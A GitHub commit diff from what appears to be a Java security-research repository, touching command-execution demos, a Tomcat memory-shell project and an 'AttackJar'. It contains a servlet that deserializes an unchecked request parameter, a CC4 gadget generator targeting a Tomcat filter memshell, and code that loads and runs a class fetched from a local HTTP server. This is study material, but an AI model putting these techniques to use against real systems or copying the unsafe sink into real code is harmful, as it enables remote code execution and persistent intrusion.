Skip to content

Commit 1049ec6

Browse files
committed
sync :)
1 parent 6f6d9d6 commit 1049ec6

File tree

6 files changed

+37
-13
lines changed

6 files changed

+37
-13
lines changed

Command/src/main/java/org/command/exec/ScriptEngineManagerDemo.java renamed to Command/src/main/java/org/command/exec/ScriptEngineDemo.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
/**
1010
* @author Whoopsunix
1111
*/
12-
public class ScriptEngineManagerDemo {
12+
public class ScriptEngineDemo {
1313
public static InputStream exec(String cmd) throws Exception {
1414
InputStream inputStream = null;
1515

MemShell/TomcatMemShell/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
1919
try {
2020
// 反序列化
2121
String base64Str = req.getParameter("base64Str");
22+
System.out.println(base64Str);
2223
byte[] bytes = Base64.getDecoder().decode(base64Str);
2324
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
2425
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);

MemShell/TomcatMemShell/src/main/java/com/demo/utils/Ser.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,6 @@
99
public class Ser {
1010
public static void main(String[] args) throws Exception{
1111
CC4Generator cc4Generator = new CC4Generator();
12-
cc4Generator.make(TomcatFilterJMXMS.class);
12+
cc4Generator.make(TomcatFilterContextClassMS.class);
1313
}
1414
}

README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@ By. Whoopsunix
1010

1111
🚧 长期项目 不定期学习后更新......
1212

13+
部分 RceDemo 已经集成在二开 [ysoserial](https://github.com/Whoopsunix/ysoserial) 项目中
14+
1315
## 目录
1416

1517
- [0x01 RceEcho](#0x05-rceecho)
@@ -121,7 +123,7 @@ Version Test
121123
- [x] ProcessImpl & UnixProcess
122124
- [x] ProcessImpl & UnixProcess by unsafe + Native
123125
- [x] Thread
124-
- [x] ScriptEngineManager
126+
- [x] ScriptEngine
125127
- [x] jni
126128

127129
## [执行结果输出(InputStream 处理Demo)](Command)

Serialization/AttackJar/src/main/java/org/example/ExecArg.java

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,13 +7,23 @@ public class ExecArg {
77
public ExecArg() {
88
}
99

10-
public ExecArg(String cmd) {
10+
private ExecArg(String cmd) {
1111
try {
1212
Runtime.getRuntime().exec(cmd);
1313
} catch (Exception e) {
1414
}
1515
}
1616

17+
public ExecArg(Integer num) {
18+
try {
19+
if (num == 123) {
20+
Runtime.getRuntime().exec("open -a Calculator.app");
21+
}
22+
23+
} catch (Exception e) {
24+
}
25+
}
26+
1727
public void exec(String cmd) {
1828
try {
1929
Runtime.getRuntime().exec(cmd);
Lines changed: 20 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,37 +1,48 @@
11
package org.example;
22

3+
import java.lang.reflect.Constructor;
34
import java.net.URL;
45
import java.net.URLClassLoader;
56

67
/**
78
* @author Whoopsunix
89
*/
910
public class Run {
10-
public static void main(String[] args) throws Exception{
11+
public static void main(String[] args) throws Exception {
1112
/**
1213
* 调用 static
1314
*/
14-
// URL url = new URL("http:///127.0.0.1:1234/AttackJar-1.0.jar");
15+
// URL url = new URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
1516
// URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
1617
// Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
1718
// Object object = loadedClass.newInstance();
1819

20+
URL url = new URL("http://127.0.0.1:1234/");
21+
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
22+
Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
23+
Object object = loadedClass.getConstructor(null).newInstance(null);
24+
1925
/**
2026
* 调用构造方法
2127
*/
22-
// URL url = new URL("http:///127.0.0.1:1234/AttackJar-1.0.jar");
28+
// URL url = new URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
2329
// URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
2430
// Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
25-
// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
31+
// // public
32+
//// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
33+
// // private
34+
// Constructor constructor = loadedClass.getDeclaredConstructor(String.class);
35+
// constructor.setAccessible(true);
36+
// Object object = constructor.newInstance("open -a Calculator.app");
2637

2738
/**
2839
* 调用方法
2940
*/
30-
URL url = new URL("http:///127.0.0.1:1234/AttackJar-1.0.jar");
31-
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
32-
Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
33-
Object object = loadedClass.newInstance();
34-
loadedClass.getMethod("exec", String.class).invoke(object, "open -a Calculator.app");
41+
// URL url = new URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
42+
// URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
43+
// Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
44+
// Object object = loadedClass.newInstance();
45+
// loadedClass.getMethod("exec", String.class).invoke(object, "open -a Calculator.app");
3546

3647
}
3748
}

0 commit comments

Comments
 (0)